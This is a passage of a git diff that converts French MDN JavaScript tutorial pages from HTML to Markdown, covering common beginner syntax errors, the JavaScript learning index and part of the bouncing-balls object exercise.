déclenchera cette même erreur car le logiciel pense que vous êtes en train de faire quelque chose d'autre. Vous devez vous assurer que vous n'avez pas confondu l'opérateur d'assignation (`=`) — qui fixe une valeur donnée à une variable — avec l'opérateur (`===`) qui teste la stricte égalité de deux valeurs, et renvoie un résultat `true`/`false` (vrai/faux). -<div class="note"> -<p><strong>Note :</strong> Voyez la page relative à <a href="/fr/docs/Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement">SyntaxError: missing ; before statement</a> pour plus de précisions à propos de cette erreur.</p> -</div> +> **Note :** Voyez la page relative à [SyntaxError: missing ; before statement](/fr/docs/Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement) pour plus de précisions à propos de cette erreur. -<h3 id="Le_programme_dit_que_vous_avez_gagné_quelle_que_soit_votre_suggestion.">Le programme dit que vous avez gagné quelle que soit votre suggestion.</h3> +### Le programme dit que vous avez gagné quelle que soit votre suggestion. -<p>Voilà un autre symptome de la confusion entre opérateur d'assignation et opérateur de test d'égalité. Ainsi, dans <code>checkGuess()</code>, si vous modifiez cette ligne :</p> +Voilà un autre symptome de la confusion entre opérateur d'assignation et opérateur de test d'égalité. Ainsi, dans `checkGuess()`, si vous modifiez cette ligne : -<pre class="brush: js">if (userGuess === randomNumber) {</pre> +```js +if (userGuess === randomNumber) { +``` -<p>en</p> +en -<pre class="brush: js">if (userGuess = randomNumber) {</pre> +```js +if (userGuess = randomNumber) { +``` -<p>le test renverra toujours <code>true</code> (vrai) et le programme indiquera que vous avez gagné à tout coup. Soyez attentif !</p> +le test renverra toujours `true` (vrai) et le programme indiquera que vous avez gagné à tout coup. Soyez attentif ! -<h3 id="SyntaxError_missing_after_argument_list">SyntaxError: missing ) after argument list</h3> +### SyntaxError: missing ) after argument list -<p>Cette erreur est triviale — elle indique en général que vous avez oublié une parenthèse fermante à la fin de l'appel d'une fonction ou d'une méthode.</p> +Cette erreur est triviale — elle indique en général que vous avez oublié une parenthèse fermante à la fin de l'appel d'une fonction ou d'une méthode. -<div class="note"> -<p><strong>Note :</strong> Voyez la page relative à <a href="/fr/docs/Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list">SyntaxError: missing ) after argument list</a> pour plus de précisions à ce propos.</p> -</div> +> **Note :** Voyez la page relative à [SyntaxError: missing ) after argument list](/fr/docs/Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list) pour plus de précisions à ce propos. -<h3 id="SyntaxError_missing_after_property_id">SyntaxError: missing : after property id</h3> +### SyntaxError: missing : after property id -<p>Cette erreur concerne généralement un objet JavaScript mal construit, mais dans ce cas nous l'avons déclenchée en modifiant</p> +Cette erreur concerne généralement un objet JavaScript mal construit, mais dans ce cas nous l'avons déclenchée en modifiant -<pre class="brush: js">function checkGuess() {</pre> +```js +function checkGuess() { +``` -<p>en</p> +en -<pre class="brush: js">function checkGuess( {</pre> +```js +function checkGuess( { +``` -<p>Le navigateur pense que vous essayez de passer le contenu d'un fonction comme argument pour l'autre fonction. Soyez attentifs avec les parenthèses !</p> +Le navigateur pense que vous essayez de passer le contenu d'un fonction comme argument pour l'autre fonction. Soyez attentifs avec les parenthèses ! -<h3 id="SyntaxError_missing_after_function_body">SyntaxError: missing } after function body</h3> +### SyntaxError: missing } after function body -<p>Facile — elle signifie généralement que vous avez omis une accolade dans une fonction ou dans une structure conditionnelle. Vous l'obtiendrez en effaçant une des accolades voisines de la terminaison de la fonction <code>checkGuess()</code>.</p> +Facile — elle signifie généralement que vous avez omis une accolade dans une fonction ou dans une structure conditionnelle. Vous l'obtiendrez en effaçant une des accolades voisines de la terminaison de la fonction `checkGuess()`. -<h3 id="SyntaxError_expected_expression_got_string_ou_SyntaxError_unterminated_string_literal">SyntaxError: expected expression, got '<em>string</em>' ou SyntaxError: unterminated string literal</h3> +### SyntaxError: expected expression, got '_string_' ou SyntaxError: unterminated string literal -<p>Ces erreurs signalent généralement l'oubli de guillemets ouvrants ou fermants dans une chaîne littérale. Dans la première erreur du titre, <em>string</em> doit être remplacé par l'un ou les caractères inattendus que l'explorateur a trouvé à la place du guillemet en début de chaîne. La deuxième erreur indique que la chaîne n'a pas été clôturée avec un guillement fermant.</p> +Ces erreurs signalent généralement l'oubli de guillemets ouvrants ou fermants dans une chaîne littérale. Dans la première erreur du titre, _string_ doit être remplacé par l'un ou les caractères inattendus que l'explorateur a trouvé à la place du guillemet en début de chaîne. La deuxième erreur indique que la chaîne n'a pas été clôturée avec un guillement fermant. -<p>Pour toutes ces erreurs, revoyez comment nous avons opéré dans les exemples de ce parcours. Quand une erreur survient, regardez le numéro de ligne indiqué, allez à cette ligne et voyez si vous remarquez ce qui ne va pas. N'oubliez pas que l'erreur n'est pas forcément sur la ligne indiquée, et qu'elle ne provient pas forcément d'un des problèmes évoqués plus haut !</p> +Pour toutes ces erreurs, revoyez comment nous avons opéré dans les exemples de ce parcours. Quand une erreur survient, regardez le numéro de ligne indiqué, allez à cette ligne et voyez si vous remarquez ce qui ne va pas. N'oubliez pas que l'erreur n'est pas forcément sur la ligne indiquée, et qu'elle ne provient pas forcément d'un des problèmes évoqués plus haut ! -<div class="note"> -<p><strong>Note :</strong> Voyez les pages relatives à <a href="/fr/docs/Web/JavaScript/Reference/Errors/Unexpected_token">SyntaxError: Unexpected token</a> et <a href="/fr/docs/Web/JavaScript/Reference/Errors/Unterminated_string_literal">SyntaxError: unterminated string literal</a> pour plus de précisions à ce propos.</p> -</div> +> **Note :** Voyez les pages relatives à [SyntaxError: Unexpected token](/fr/docs/Web/JavaScript/Reference/Errors/Unexpected_token) et [SyntaxError: unterminated string literal](/fr/docs/Web/JavaScript/Reference/Errors/Unterminated_string_literal) pour plus de précisions à ce propos. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Voilà ce que nous pouvons dire à propos des erreurs basiques pour de simples programmes JavaScript. Il n'est pas toujours aussi simple de détecter ce qui ne va pas dans du code, mais au moins vous économiserez ainsi quelques heures de veille et vous progresserez plus rapidement si les choses ne déraillent pas dès le début de votre parcours d'apprentissage.</p> +Voilà ce que nous pouvons dire à propos des erreurs basiques pour de simples programmes JavaScript. Il n'est pas toujours aussi simple de détecter ce qui ne va pas dans du code, mais au moins vous économiserez ainsi quelques heures de veille et vous progresserez plus rapidement si les choses ne déraillent pas dès le début de votre parcours d'apprentissage. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<div> -<ul> - <li>Il y a nombre d'autres erreurs qui n'ont pas été listées ici ; nous les avons récolées dans un référencement qui les explique en détail — voyez <a href="/fr/docs/Web/JavaScript/Reference/Errors">JavaScript error reference</a>.</li> - <li>Si dans votre code vous rencontrez une erreur, et même après avoir lu cet article, vous ne parvenez pas à la corriger, vous pouvez obtenir de l'aide ! Demandez‑la sur le fil de discussion <a class="external external-icon" href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">Learning Area Discourse thread</a> ou par le canal IRC de <a href="irc://irc.mozilla.org/mdn">#mdn</a> sur <a class="external external-icon" href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Dites‑nous quelle est cette erreur, et nous essayerons de vous aider. Un listing de votre code sera aussi utile.</li> -</ul> -</div> +- Il y a nombre d'autres erreurs qui n'ont pas été listées ici ; nous les avons récolées dans un référencement qui les explique en détail — voyez [JavaScript error reference](/fr/docs/Web/JavaScript/Reference/Errors). +- Si dans votre code vous rencontrez une erreur, et même après avoir lu cet article, vous ne parvenez pas à la corriger, vous pouvez obtenir de l'aide ! Demandez‑la sur le fil de discussion [Learning Area Discourse thread](https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294) ou par le canal IRC de [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Dites‑nous quelle est cette erreur, et nous essayerons de vous aider. Un listing de votre code sera aussi utile. -<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}</p> +{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}} diff --git a/files/fr/learn/javascript/index.md b/files/fr/learn/javascript/index.md index 77f8f6f168..f730e65560 100644 --- a/files/fr/learn/javascript/index.md +++ b/files/fr/learn/javascript/index.md @@ -10,53 +10,45 @@ tags: translation_of: Learn/JavaScript original_slug: Apprendre/JavaScript --- -<p>{{LearnSidebar}}</p> +{{LearnSidebar}} -<p>{{Glossary('JavaScript')}} est un langage de programmation qui vous permet de mettre en œuvre des éléments complexes sur des pages Web (une page Web contenant plus que de simples informations statiques). Chaque fois qu'une page affiche des mises à jour de contenu en temps réel, des cartes interactives, des animations graphiques 2D / 3D ou un juke-box vidéo défilant, etc. — vous pouvez parier que JavaScript est probablement impliqué.</p> +{{Glossary('JavaScript')}} est un langage de programmation qui vous permet de mettre en œuvre des éléments complexes sur des pages Web (une page Web contenant plus que de simples informations statiques). Chaque fois qu'une page affiche des mises à jour de contenu en temps réel, des cartes interactives, des animations graphiques 2D / 3D ou un juke-box vidéo défilant, etc. — vous pouvez parier que JavaScript est probablement impliqué. -<h2 id="Parcours_d'apprentissage">Parcours d'apprentissage</h2> +## Parcours d'apprentissage -<p>JavaScript est sans doute plus difficile à apprendre que les technologies connexes telles que <a href="/fr/Apprendre/HTML">HTML</a> et <a href="/fr/Apprendre/CSS">CSS</a>. Avant d'essayer d'apprendre le JavaScript, il est fortement conseillé de se familiariser d'abord avec au moins ces deux technologies, et peut-être aussi avec d'autres. Commencez par travailler sur les modules suivants :</p> +JavaScript est sans doute plus difficile à apprendre que les technologies connexes telles que [HTML](/fr/Apprendre/HTML) et [CSS](/fr/Apprendre/CSS). Avant d'essayer d'apprendre le JavaScript, il est fortement conseillé de se familiariser d'abord avec au moins ces deux technologies, et peut-être aussi avec d'autres. Commencez par travailler sur les modules suivants : -<ul> - <li><a href="/fr/Apprendre/Commencer_avec_le_web">Commencer avec le Web</a></li> - <li><a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML">Introduction au HTML</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS">Introduction à CSS</a></li> -</ul> +- [Commencer avec le Web](/fr/Apprendre/Commencer_avec_le_web) +- [Introduction au HTML](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML) +- [Introduction à CSS](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS) -<p>Avoir une expérience antérieure avec d'autres langages de programmation peut également aider.</p> +Avoir une expérience antérieure avec d'autres langages de programmation peut également aider. -<p>Après vous être familiarisé avec les bases de JavaScript, vous devriez être en mesure d'en apprendre davantage sur des sujets plus avancés, par exemple :</p> +Après vous être familiarisé avec les bases de JavaScript, vous devriez être en mesure d'en apprendre davantage sur des sujets plus avancés, par exemple : -<ul> - <li>JavaScript en profondeur, comme enseigné dans notre <a href="/fr/docs/Web/JavaScript/Guide">guide JavaScript</a></li> - <li><a href="/fr/docs/Web/API">API web</a></li> -</ul> +- JavaScript en profondeur, comme enseigné dans notre [guide JavaScript](/fr/docs/Web/JavaScript/Guide) +- [API web](/fr/docs/Web/API) -<h2 id="Modules">Modules</h2> +## Modules -<p>Cette rubrique contient les modules suivants, dans l'ordre suggéré pour les aborder :</p> +Cette rubrique contient les modules suivants, dans l'ordre suggéré pour les aborder : -<dl> - <dt><a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas en JavaScript</a></dt> - <dd>Dans notre premier module JavaScript, nous répondons d'abord à des questions fondamentales telles que «qu'est-ce que le JavaScript ?», «à quoi cela ressemble-t-il ?» et «que peut-il faire ?», avant de passer à votre première expérience pratique d'écriture de JavaScript. Après cela, nous discutons en détail de certaines fonctionnalités clés de JavaScript, telles que les variables, les chaînes, les nombres et les tableaux.</dd> - <dt><a href="/fr/Apprendre/JavaScript/Building_blocks">JavaScript les blocs</a></dt> - <dd>Dans ce module, nous continuons de couvrir toutes les fonctions clés fondamentales de JavaScript, en nous concentrant sur les types de blocs de code les plus courants, tels que les instructions conditionnelles, les boucles, les fonctions et les événements. Vous avez déjà vu ce genre de choses dans le cours, mais seulement en passant, nous en discuterons explicitement ici.</dd> - <dt><a href="/fr/docs/Learn/JavaScript/Objects">Introduction aux objets JavaScript</a></dt> - <dd>En JavaScript, la plupart des éléments sont des objets, depuis les principales fonctionnalités de JavaScript comme les chaînes et les tableaux jusqu'aux API du navigateur construites sur JavaScript. Vous pouvez même créer vos propres objets pour encapsuler des fonctions et des variables associées dans des paquets efficaces. La nature orientée objet de JavaScript est importante à comprendre, si vous voulez aller plus loin dans la connaissance du langage et rédiger un code plus efficace. C'est pourquoi nous avons conçu ce module pour vous aider. Ici, nous enseignons la théorie et la syntaxe des objets en détail, regardons comment créer vos propres objets et expliquons quelles sont les données JSON et comment les utiliser.</dd> - <dt><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs">API Web côté client</a></dt> - <dd>Lors de l'écriture de JavaScript côté client, pour des sites Web ou des applications, vous n'irez pas très loin avant de commencer à utiliser des interfaces API, pour manipuler différents aspects du navigateur et du système d'exploitation sur lequel le site fonctionne, ou même des données d'autres sites Web ou des services. Dans ce module, nous explorerons quelles sont les API et comment utiliser certaines des API les plus courantes que vous rencontrerez souvent dans votre travail de développement.</dd> -</dl> +- [Premiers pas en JavaScript](/fr/docs/Learn/JavaScript/First_steps) + - : Dans notre premier module JavaScript, nous répondons d'abord à des questions fondamentales telles que «qu'est-ce que le JavaScript ?», «à quoi cela ressemble-t-il ?» et «que peut-il faire ?», avant de passer à votre première expérience pratique d'écriture de JavaScript. Après cela, nous discutons en détail de certaines fonctionnalités clés de JavaScript, telles que les variables, les chaînes, les nombres et les tableaux. +- [JavaScript les blocs](/fr/Apprendre/JavaScript/Building_blocks) + - : Dans ce module, nous continuons de couvrir toutes les fonctions clés fondamentales de JavaScript, en nous concentrant sur les types de blocs de code les plus courants, tels que les instructions conditionnelles, les boucles, les fonctions et les événements. Vous avez déjà vu ce genre de choses dans le cours, mais seulement en passant, nous en discuterons explicitement ici. +- [Introduction aux objets JavaScript](/fr/docs/Learn/JavaScript/Objects) + - : En JavaScript, la plupart des éléments sont des objets, depuis les principales fonctionnalités de JavaScript comme les chaînes et les tableaux jusqu'aux API du navigateur construites sur JavaScript. Vous pouvez même créer vos propres objets pour encapsuler des fonctions et des variables associées dans des paquets efficaces. La nature orientée objet de JavaScript est importante à comprendre, si vous voulez aller plus loin dans la connaissance du langage et rédiger un code plus efficace. C'est pourquoi nous avons conçu ce module pour vous aider. Ici, nous enseignons la théorie et la syntaxe des objets en détail, regardons comment créer vos propres objets et expliquons quelles sont les données JSON et comment les utiliser. +- [API Web côté client](/fr/docs/Learn/JavaScript/Client-side_web_APIs) + - : Lors de l'écriture de JavaScript côté client, pour des sites Web ou des applications, vous n'irez pas très loin avant de commencer à utiliser des interfaces API, pour manipuler différents aspects du navigateur et du système d'exploitation sur lequel le site fonctionne, ou même des données d'autres sites Web ou des services. Dans ce module, nous explorerons quelles sont les API et comment utiliser certaines des API les plus courantes que vous rencontrerez souvent dans votre travail de développement. -<h2 id="Résoudre_les_problèmes_JavaScript_courants">Résoudre les problèmes JavaScript courants</h2> +## Résoudre les problèmes JavaScript courants -<p><a href="/fr/Apprendre/JavaScript/Howto">Utiliser JavaScript pour résoudre des problèmes courants</a> fournit des liens vers des sections expliquant comment utiliser JavaScript pour résoudre des problèmes très courants lors de la création d'une page Web.</p> +[Utiliser JavaScript pour résoudre des problèmes courants](/fr/Apprendre/JavaScript/Howto) fournit des liens vers des sections expliquant comment utiliser JavaScript pour résoudre des problèmes très courants lors de la création d'une page Web. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<dl> - <dt><a href="/fr/docs/Web/JavaScript">JavaScript sur MDN</a></dt> - <dd>Principal point d'entrée de la documentation JavaScript de base sur MDN, vous y trouverez de nombreux documents de référence sur tous les aspects du langage JavaScript, ainsi que des tutoriels avancés destinés aux programmeurs en JavaScript expérimentés.</dd> - <dt><a href="https://www.youtube.com/user/codingmath">Codage des mathématiques</a></dt> - <dd>Une excellente série de tutoriels vidéo (anglophones) sur les mathématiques que vous devez comprendre pour être un programmeur efficace, par <a href="https://twitter.com/bit101">Keith Peters</a>.</dd> -</dl> +- [JavaScript sur MDN](/fr/docs/Web/JavaScript) + - : Principal point d'entrée de la documentation JavaScript de base sur MDN, vous y trouverez de nombreux documents de référence sur tous les aspects du langage JavaScript, ainsi que des tutoriels avancés destinés aux programmeurs en JavaScript expérimentés. +- [Codage des mathématiques](https://www.youtube.com/user/codingmath) + - : Une excellente série de tutoriels vidéo (anglophones) sur les mathématiques que vous devez comprendre pour être un programmeur efficace, par [Keith Peters](https://twitter.com/bit101). diff --git a/files/fr/learn/javascript/objects/adding_bouncing_balls_features/index.md b/files/fr/learn/javascript/objects/adding_bouncing_balls_features/index.md index 70f35b3642..d749fec99b 100644 --- a/files/fr/learn/javascript/objects/adding_bouncing_balls_features/index.md +++ b/files/fr/learn/javascript/objects/adding_bouncing_balls_features/index.md @@ -14,112 +14,104 @@ translation_of: Learn/JavaScript/Objects/Adding_bouncing_balls_features original_slug: >- Learn/JavaScript/Objects/Ajouter_des_fonctionnalités_à_notre_démo_de_balles_rebondissantes --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}</div> - -<p>Dans cet exercice, vous devrez utiliser le jeu des balles rebondissantes de l'article précédent comme base, pour y ajouter de nouvelles fonctionnalitées intéressantes.</p> +Dans cet exercice, vous devrez utiliser le jeu des balles rebondissantes de l'article précédent comme base, pour y ajouter de nouvelles fonctionnalitées intéressantes. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Avant de vous lancer dans cet exercice, il est fortement conseillé d'avoir vus et compris tous les précédents articles de ce module.</td> - </tr> - <tr> - <th scope="row">Objectifs:</th> - <td>Tester votre connaissance du Javascript orienté objet en conception et en pratique.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Avant de vous lancer dans cet exercice, il est fortement conseillé + d'avoir vus et compris tous les précédents articles de ce module. + </td> + </tr> + <tr> + <th scope="row">Objectifs:</th> + <td> + Tester votre connaissance du Javascript orienté objet en conception et + en pratique. + </td> + </tr> + </tbody> </table> -<h2 id="Pour_commencer">Pour commencer</h2> - -<p>Pour commencer, faite une copie locale de <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/index-finished.html">index-finished.html</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/style.css">style.css</a>, et <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main-finished.js">main-finished.js</a> de l'article précédent, dans un nouveau dossier.</p> +## Pour commencer -<div class="note"> -<p><strong>Note :</strong> Vous pouvez utiliser un site comme <a class="external external-icon" href="http://jsbin.com/">JSBin</a> ou <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a>. Vous pouvez copier vos codes HTML, CSS et JavaScript dans l'un d'entre eux. Si celui que vous utilisez ne possède pas de fenêtres séparées pour les différents langages, ajoutez les dans des balises <code><script></code>/<code><style></code> dans votre code HTML.</p> -</div> +Pour commencer, faite une copie locale de [index-finished.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/index-finished.html), [style.css](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/style.css), et [main-finished.js](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main-finished.js) de l'article précédent, dans un nouveau dossier. -<h2 id="Le_projet_en_bref">Le projet en bref</h2> +> **Note :** Vous pouvez utiliser un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). Vous pouvez copier vos codes HTML, CSS et JavaScript dans l'un d'entre eux. Si celui que vous utilisez ne possède pas de fenêtres séparées pour les différents langages, ajoutez les dans des balises `<script>`/`<style>` dans votre code HTML. -<p>Notre jeu des balles est assez sympa, mais maintenant il s'agit de le rendre plus interactif en y ajoutant un viseur controlé par l'utilisateur, qui va détruire une balle si il l'a touche. Nous voulons aussi testé votre capacité en programmation orienté objet en créant un object <code>Shape()</code> dont le viseur et les balles peuvent hériter. Pour terminer nous voulons créer un compteur qui permet d'afficher combien de balle il nous reste encore à détruire.</p> +## Le projet en bref -<p>Ce screenshot vous donne une idée du résultat final:</p> +Notre jeu des balles est assez sympa, mais maintenant il s'agit de le rendre plus interactif en y ajoutant un viseur controlé par l'utilisateur, qui va détruire une balle si il l'a touche. Nous voulons aussi testé votre capacité en programmation orienté objet en créant un object `Shape()` dont le viseur et les balles peuvent hériter. Pour terminer nous voulons créer un compteur qui permet d'afficher combien de balle il nous reste encore à détruire. -<p><img alt="" src="bouncing-evil-circle.png"></p> +Ce screenshot vous donne une idée du résultat final: -<ul> -</ul> + -<p>Si vous voulez en savoir plus regardez l'exemple finit <a href="http://mdn.github.io/learning-area/javascript/oojs/assessment/">finished example</a> (N'en profitez pas pour récupérer le code source !)</p> +Si vous voulez en savoir plus regardez l'exemple finit [finished example](http://mdn.github.io/learning-area/javascript/oojs/assessment/) (N'en profitez pas pour récupérer le code source !) -<h2 id="Vos_objectifs">Vos objectifs</h2> +## Vos objectifs -<p>Cette section décrit ce que vous aurez à faire.</p> +Cette section décrit ce que vous aurez à faire. -<h3 id="Créons_nos_nouveaux_objets">Créons nos nouveaux objets</h3> +### Créons nos nouveaux objets -<p>Pour commencer, modifions le constructeur de l'objet <code>Ball()</code> pour qu'il devienne le constructeur de <code>Shape()</code> puis créons en un nouveau pour <code>Ball()</code> :</p> +Pour commencer, modifions le constructeur de l'objet `Ball()` pour qu'il devienne le constructeur de `Shape()` puis créons en un nouveau pour `Ball()` : -<ol> - <li>Le constructeur <code>Shape()</code> devra définir les propriétés <code>x</code>, <code>y</code>, <code>velX</code>, et <code>velY</code> de la même manière que le constructeur <code>Ball()</code> auparavent, mais sans les propriétés <code>color</code> et <code>size</code>.</li> - <li><code>Shape()</code> doit aussi définir une nouvelle propriété <code>exists</code>, qui servira à identifier les balles qu'il reste à détruire dans la fenêtre (celles qui n'on pas encore été détruites). Elle doit retourner un booléen (<code>true</code>/<code>false</code>).</li> - <li>Le constructeur <code>Ball()</code> doit hériter des propriétés <code>x</code>, <code>y</code>, <code>velX</code>, <code>velY</code>, et <code>exists</code> du constructeur <code>Shape()</code>.</li> - <li><code>Ball()</code> doit aussi définir les propriétés <code>color</code> et <code>size</code>, comme à l'origine.</li> - <li>N'oubliez pas de définir le prototype de <code>Ball()</code> et son constructeur de manière approprié.</li> -</ol> +1. Le constructeur `Shape()` devra définir les propriétés `x`, `y`, `velX`, et `velY` de la même manière que le constructeur `Ball()` auparavent, mais sans les propriétés `color` et `size`. +2. `Shape()` doit aussi définir une nouvelle propriété `exists`, qui servira à identifier les balles qu'il reste à détruire dans la fenêtre (celles qui n'on pas encore été détruites). Elle doit retourner un booléen (`true`/`false`). +3. Le constructeur `Ball()` doit hériter des propriétés `x`, `y`, `velX`, `velY`, et `exists` du constructeur `Shape()`. +4. `Ball()` doit aussi définir les propriétés `color` et `size`, comme à l'origine. +5. N'oubliez pas de définir le prototype de `Ball()` et son constructeur de manière approprié. -<p>Les méthodes <code>draw()</code>, <code>update()</code>, et <code>collisionDetect()</code> doivent fonctionnées comme avant, sans être modifiées.</p> +Les méthodes `draw()`, `update()`, et `collisionDetect()` doivent fonctionnées comme avant, sans être modifiées. -<p>Vous devrez ajouter un nouveau paramètre au constructeur <code>new Ball() ( ... )</code> — le paramètre <code>exists</code> doit être le 5ème et être égal à <code>true</code>.</p> +Vous devrez ajouter un nouveau paramètre au constructeur `new Ball() ( ... )` — le paramètre `exists` doit être le 5ème et être égal à `true`. -<p>Vous pouvez recharger la page — Tout doit fonctionner comme avant même après les modifications que vous avez effectuées sur les objets.</p> +Vous pouvez recharger la page — Tout doit fonctionner comme avant même après les modifications que vous avez effectuées sur les objets. -<h3 id="Définition_du_EvilCircle()_(viseur)">Définition du EvilCircle() (viseur)</h3> +### Définition du EvilCircle() (viseur) -<p>Il est temps de vous équipez ! — le <code>EvilCircle()</code>! Dans notre jeu nous allons créer un viseur, mais nous allons nous servir de l'objet <code>Shape()</code> pour le définir. Vous voudrez certainement en ajouter un (plusieurs) autre plus tard, qu'un autre joueur ou l'ordinateur pourra contrôler. Vous n'irez probablement pas bien loin avec un seul viseur, mais ce sera suffisant pour le moment !</p> +Il est temps de vous équipez ! — le `EvilCircle()`! Dans notre jeu nous allons créer un viseur, mais nous allons nous servir de l'objet `Shape()` pour le définir. Vous voudrez certainement en ajouter un (plusieurs) autre plus tard, qu'un autre joueur ou l'ordinateur pourra contrôler. Vous n'irez probablement pas bien loin avec un seul viseur, mais ce sera suffisant pour le moment ! -<p>Le constructeur du <code>EvilCircle()</code> doit hériter des propriétés <code>x</code>, <code>y</code>, <code>velX</code>, <code>velY</code>, et <code>exists</code> de <code>Shape()</code>, mais <code>velX</code> et <code>velY</code> doivent toujours être égales à 20.</p> +Le constructeur du `EvilCircle()` doit hériter des propriétés `x`, `y`, `velX`, `velY`, et `exists` de `Shape()`, mais `velX` et `velY` doivent toujours être égales à 20. -<p>Vous devriez utiliser quelque chose comme <code>Shape.call(this, x, y, 20, 20, exists);</code></p> +Vous devriez utiliser quelque chose comme `Shape.call(this, x, y, 20, 20, exists);` -<p>Le constructeur doit aussi définir ses propres propriétés:</p> +Le constructeur doit aussi définir ses propres propriétés: -<ul> - <li><code>color</code> — <code>'white'</code></li> - <li><code>size</code> — <code>10</code></li> -</ul> +- `color` — `'white'` +- `size` — `10` -<p>Une fois de plus, souvenez vous de définir vos propriétés héritées en paramètre du constructeur et de définir le prototype et son constructeur de manière appropriée.</p> +Une fois de plus, souvenez vous de définir vos propriétés héritées en paramètre du constructeur et de définir le prototype et son constructeur de manière appropriée. -<h3 id="Définir_les_méthodes_du_EvilCircle()_(viseur)">Définir les méthodes du EvilCircle() (viseur)</h3> +### Définir les méthodes du EvilCircle() (viseur) -<p><code>EvilCircle()</code> doit avoir quatre méthodes, comme définie en dessous.</p> +`EvilCircle()` doit avoir quatre méthodes, comme définie en dessous. -<h4 id="draw()"><code>draw()</code></h4> +#### `draw()` -<p>Cette méthode doit avoir la même fonction que celle de <code>Ball()</code>: soit dessiner l'objet dans le canvas. Elle fonctionnera quasiment de la même manière, copiez la fonction <code>Ball.prototype.draw</code>. Puis appliquez les modifications suivantes:</p> +Cette méthode doit avoir la même fonction que celle de `Ball()`: soit dessiner l'objet dans le canvas. Elle fonctionnera quasiment de la même manière, copiez la fonction `Ball.prototype.draw`. Puis appliquez les modifications suivantes: -<ul> - <li>On ne veut pas que le viseur soit plein, mais qu'il ait seulement un contour. Changez <code><a href="/fr/docs/Web/API/CanvasRenderingContext2D/fillStyle">fillStyle</a></code> et <code><a href="/fr/docs/Web/API/CanvasRenderingContext2D/fill">fill()</a></code> pour <code><a href="/fr/docs/Web/API/CanvasRenderingContext2D/strokeStyle">strokeStyle</a></code> et <code><a href="/fr/docs/Web/API/CanvasRenderingContext2D/stroke">stroke()</a></code>.</li> - <li>On voudrait qu'il soit aussi un peu plus épais, pour être plus facile à voir. Pour ça on doit définir un attribut <code><a href="/fr/docs/Web/API/CanvasRenderingContext2D/lineWidth">lineWidth</a></code> à ctx après l'appel à la fonction <code><a href="/fr/docs/Web/API/CanvasRenderingContext2D/beginPath">beginPath()</a></code> (avec une valeur de 3).</li> -</ul> +- On ne veut pas que le viseur soit plein, mais qu'il ait seulement un contour. Changez [`fillStyle`](/fr/docs/Web/API/CanvasRenderingContext2D/fillStyle) et [`fill()`](/fr/docs/Web/API/CanvasRenderingContext2D/fill) pour [`strokeStyle`](/fr/docs/Web/API/CanvasRenderingContext2D/strokeStyle) et [`stroke()`](/fr/docs/Web/API/CanvasRenderingContext2D/stroke). +- On voudrait qu'il soit aussi un peu plus épais, pour être plus facile à voir. Pour ça on doit définir un attribut [`lineWidth`](/fr/docs/Web/API/CanvasRenderingContext2D/lineWidth) à ctx après l'appel à la fonction [`beginPath()`](/fr/docs/Web/API/CanvasRenderingContext2D/beginPath) (avec une valeur de 3). -<h4 id="checkBounds()"><code>checkBounds()</code></h4> +#### `checkBounds()` -<p>Cette méthode à la même fonction que la première partie de <code>Ball()</code> <code>update()</code> — Savoir si le viseur va hors de l'écran, et l'arrêter si besoin. Une fois encore, copié la méthode <code>Ball.prototype.update</code>, mais en effectuant quelques changements:</p> +Cette méthode à la même fonction que la première partie de `Ball()` `update()` — Savoir si le viseur va hors de l'écran, et l'arrêter si besoin. Une fois encore, copié la méthode `Ball.prototype.update`, mais en effectuant quelques changements: -<ul> - <li>Débarrassez-vous des deux dernières lignes — on a pas besoin de connaître la position du viseur à chaque frame, car nous le déplacerons d'une manière différente comme vous pourrez le voir.</li> - <li>Dans les conditions en <code>if()</code> , si la condition retourne true on ne veut pas modifier (update) les propriétés <code>velX</code>/<code>velY</code>; mais plutôt changer les valeurs de <code>x</code>/<code>y</code> de manière à ce que le viseur revienne doucement dans l'écran. Ajouter ou soustraire de manière appropriée la taille (<code>size)</code> du viseur sera suffisant.</li> -</ul> +- Débarrassez-vous des deux dernières lignes — on a pas besoin de connaître la position du viseur à chaque frame, car nous le déplacerons d'une manière différente comme vous pourrez le voir. +- Dans les conditions en `if()` , si la condition retourne true on ne veut pas modifier (update) les propriétés `velX`/`velY`; mais plutôt changer les valeurs de `x`/`y` de manière à ce que le viseur revienne doucement dans l'écran. Ajouter ou soustraire de manière 